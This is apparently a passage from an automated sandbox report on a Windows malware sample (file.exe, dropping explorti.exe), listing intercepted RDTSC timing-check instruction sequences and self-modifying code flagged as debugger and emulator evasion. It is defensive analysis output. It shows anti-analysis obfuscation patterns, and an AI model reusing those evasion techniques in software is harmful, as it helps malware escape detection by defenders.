Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0102 second address: 51D01B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F142CBF9DBBh 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F142CBF9DC6h 0x00000015 mov ebx, dword ptr [ebp+10h] 0x00000018 jmp 00007F142CBF9DC0h 0x0000001d xchg eax, esi 0x0000001e jmp 00007F142CBF9DC0h 0x00000023 push eax 0x00000024 jmp 00007F142CBF9DBBh 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b push esi 0x0000002c pushfd 0x0000002d jmp 00007F142CBF9DBBh 0x00000032 or si, 7B6Eh 0x00000037 jmp 00007F142CBF9DC9h 0x0000003c popfd 0x0000003d pop eax 0x0000003e mov cx, di 0x00000041 popad 0x00000042 mov esi, dword ptr [ebp+08h] 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 call 00007F142CBF9DBFh 0x0000004d pop eax 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D01B6 second address: 51D01E4 instructions: 0x00000000 rdtsc 0x00000002 mov esi, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bx, E218h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F142CBFA9D9h 0x00000014 mov esi, 6BD058B7h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D01E4 second address: 51D01EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D01EA second address: 51D01EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D01EE second address: 51D0229 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], edi 0x0000000b pushad 0x0000000c mov ax, dx 0x0000000f mov eax, ebx 0x00000011 popad 0x00000012 test esi, esi 0x00000014 jmp 00007F142CBF9DBFh 0x00000019 je 00007F149E9481BAh 0x0000001f pushad 0x00000020 mov eax, edx 0x00000022 popad 0x00000023 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov cl, E4h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0229 second address: 51D022E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D022E second address: 51D02C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F149E9481A1h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F142CBF9DBEh 0x00000016 sub cl, FFFFFF98h 0x00000019 jmp 00007F142CBF9DBBh 0x0000001e popfd 0x0000001f call 00007F142CBF9DC8h 0x00000024 pushfd 0x00000025 jmp 00007F142CBF9DC2h 0x0000002a add cx, AD28h 0x0000002f jmp 00007F142CBF9DBBh 0x00000034 popfd 0x00000035 pop eax 0x00000036 popad 0x00000037 mov edx, dword ptr [esi+44h] 0x0000003a jmp 00007F142CBF9DBFh 0x0000003f or edx, dword ptr [ebp+0Ch] 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov bh, 95h 0x00000047 mov esi, 4312D8A3h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D02C3 second address: 51D0302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f jmp 00007F142CBFA9CEh 0x00000014 jne 00007F149E948D5Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ax, dx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0302 second address: 51D0307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C07D4 second address: 51C07D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C07D8 second address: 51C07DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C07DE second address: 51C0832 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F142CBFA9CBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F142CBFA9D6h 0x00000015 mov ebp, esp 0x00000017 jmp 00007F142CBFA9D0h 0x0000001c and esp, FFFFFFF8h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0832 second address: 51C084F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C084F second address: 51C0855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0855 second address: 51C0859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0859 second address: 51C085D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C085D second address: 51C0896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F142CBF9DC4h 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F142CBF9DC7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0896 second address: 51C08D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F142CBFA9CEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F142CBFA9CEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C08D3 second address: 51C08F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F142CBF9DBBh 0x00000012 pop eax 0x00000013 mov dh, 6Dh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C08F5 second address: 51C0936 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007F142CBFA9D6h 0x00000011 sub ebx, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F142CBFA9D3h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0936 second address: 51C093C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C093C second address: 51C095B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F142CBFA9D1h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test esi, esi 0x0000000e pushad 0x0000000f mov ecx, edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C095B second address: 51C09B5 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 365B3D01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007F149E94F7DFh 0x00000010 jmp 00007F142CBF9DBCh 0x00000015 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001c jmp 00007F142CBF9DC0h 0x00000021 mov ecx, esi 0x00000023 pushad 0x00000024 mov edx, eax 0x00000026 mov si, 1A19h 0x0000002a popad 0x0000002b je 00007F149E94F7C1h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jmp 00007F142CBF9DC1h 0x00000039 push esi 0x0000003a pop edx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C09B5 second address: 51C0A98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FA6968h], 00000002h 0x00000010 pushad 0x00000011 mov si, F133h 0x00000015 pushfd 0x00000016 jmp 00007F142CBFA9D8h 0x0000001b sbb si, E538h 0x00000020 jmp 00007F142CBFA9CBh 0x00000025 popfd 0x00000026 popad 0x00000027 jne 00007F149E95037Fh 0x0000002d jmp 00007F142CBFA9D6h 0x00000032 mov edx, dword ptr [ebp+0Ch] 0x00000035 jmp 00007F142CBFA9D0h 0x0000003a xchg eax, ebx 0x0000003b pushad 0x0000003c mov edi, ecx 0x0000003e mov ax, B599h 0x00000042 popad 0x00000043 push eax 0x00000044 jmp 00007F142CBFA9CFh 0x00000049 xchg eax, ebx 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007F142CBFA9D4h 0x00000051 or eax, 746E6458h 0x00000057 jmp 00007F142CBFA9CBh 0x0000005c popfd 0x0000005d push eax 0x0000005e push edx 0x0000005f pushfd 0x00000060 jmp 00007F142CBFA9D6h 0x00000065 xor cx, EEB8h 0x0000006a jmp 00007F142CBFA9CBh 0x0000006f popfd 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0A98 second address: 51C0AF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b pushad 0x0000000c jmp 00007F142CBF9DBEh 0x00000011 mov dl, ch 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov ch, 51h 0x00000018 mov ah, dh 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c jmp 00007F142CBF9DBEh 0x00000021 push dword ptr [ebp+14h] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F142CBF9DBDh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0AF2 second address: 51C0B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F142CBFA9D8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0B22 second address: 51C0B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0B26 second address: 51C0B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0B2C second address: 51C0B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0B5E second address: 51C0B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0B64 second address: 51C0B7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F142CBF9DBFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0B7E second address: 51C0BD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F142CBFA9D3h 0x00000013 xor al, FFFFFFCEh 0x00000016 jmp 00007F142CBFA9D9h 0x0000001b popfd 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0BD3 second address: 51C0BD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0BD8 second address: 51C0BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBFA9D3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esp, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0BFA second address: 51C0C00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0C00 second address: 51C0C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 09AFh 0x00000007 pushfd 0x00000008 jmp 00007F142CBFA9D4h 0x0000000d sbb al, FFFFFFD8h 0x00000010 jmp 00007F142CBFA9CBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F142CBFA9D5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0C6D second address: 51D0C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0C72 second address: 51D0C91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0C91 second address: 51D0C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0C95 second address: 51D0C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0C99 second address: 51D0C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0C9F second address: 51D0CC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F142CBFA9D2h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0CC0 second address: 51D0CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0CC4 second address: 51D0CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0CC8 second address: 51D0CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, B9D5h 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F142CBF9DC0h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov bx, 2AC0h 0x0000001a mov bx, 32ECh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0A03 second address: 51D0A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov eax, 12ECC45Dh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F142CBFA9D8h 0x00000016 adc si, B3E8h 0x0000001b jmp 00007F142CBFA9CBh 0x00000020 popfd 0x00000021 mov si, 1FDFh 0x00000025 popad 0x00000026 popad 0x00000027 mov dword ptr [esp], ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f mov bl, 81h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0A4E second address: 51D0A93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F142CBF9DC6h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F142CBF9DC7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52409C3 second address: 5240A3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F142CBFA9D4h 0x00000011 and cl, 00000048h 0x00000014 jmp 00007F142CBFA9CBh 0x00000019 popfd 0x0000001a mov dx, cx 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 mov bx, C3B6h 0x00000024 movsx edx, si 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F142CBFA9CBh 0x00000030 xor ecx, 70F3FC3Eh 0x00000036 jmp 00007F142CBFA9D9h 0x0000003b popfd 0x0000003c popad 0x0000003d mov ebp, esp 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov ecx, edi 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230F41 second address: 5230F6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F142CBF9DBCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230F6D second address: 5230F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230CDC second address: 5230CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230CE2 second address: 5230CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230CE6 second address: 5230D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F142CBF9DC6h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F142CBF9DC7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230D21 second address: 5230D73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 pushfd 0x00000006 jmp 00007F142CBFA9CBh 0x0000000b add esi, 5228500Eh 0x00000011 jmp 00007F142CBFA9D9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F142CBFA9D8h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230D73 second address: 5230D79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230D79 second address: 5230D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230D92 second address: 5230D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230D96 second address: 5230D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230D9A second address: 5230DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230DA0 second address: 5230DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230DA6 second address: 5230DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E001B second address: 51E0033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBFA9D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0033 second address: 51E005A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F142CBF9DC2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E005A second address: 51E00D6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F142CBFA9D2h 0x00000008 and si, 0BB8h 0x0000000d jmp 00007F142CBFA9CBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 mov eax, 30D4BD85h 0x0000001b push eax 0x0000001c pop edi 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 mov eax, edi 0x00000023 pushfd 0x00000024 jmp 00007F142CBFA9D9h 0x00000029 jmp 00007F142CBFA9CBh 0x0000002e popfd 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 jmp 00007F142CBFA9D6h 0x00000036 mov ebp, esp 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E00D6 second address: 51E00DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E00DA second address: 51E00F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E00F7 second address: 51E00FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E00FD second address: 51E0101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524026E second address: 5240274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240312 second address: 5240351 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007F142CBFA9CEh 0x0000000b jmp 00007F142CBFA9D5h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 movzx eax, al 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F142CBFA9CDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240351 second address: 5240357 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240357 second address: 5240366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240366 second address: 524036A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 88E89E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 88E9FD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AC04EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 92E89E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 92E9FD instructions caused by: Self-modifying code
